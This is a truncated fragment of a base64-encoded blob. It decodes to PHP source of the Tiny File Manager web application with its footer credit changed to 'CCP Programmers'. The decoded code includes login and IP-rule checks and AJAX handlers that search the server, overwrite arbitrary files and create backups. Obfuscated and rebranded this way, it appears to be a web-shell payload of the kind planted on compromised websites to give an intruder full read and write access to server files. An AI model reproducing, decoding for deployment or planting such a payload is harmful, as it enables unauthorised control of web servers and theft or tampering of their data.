zZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgf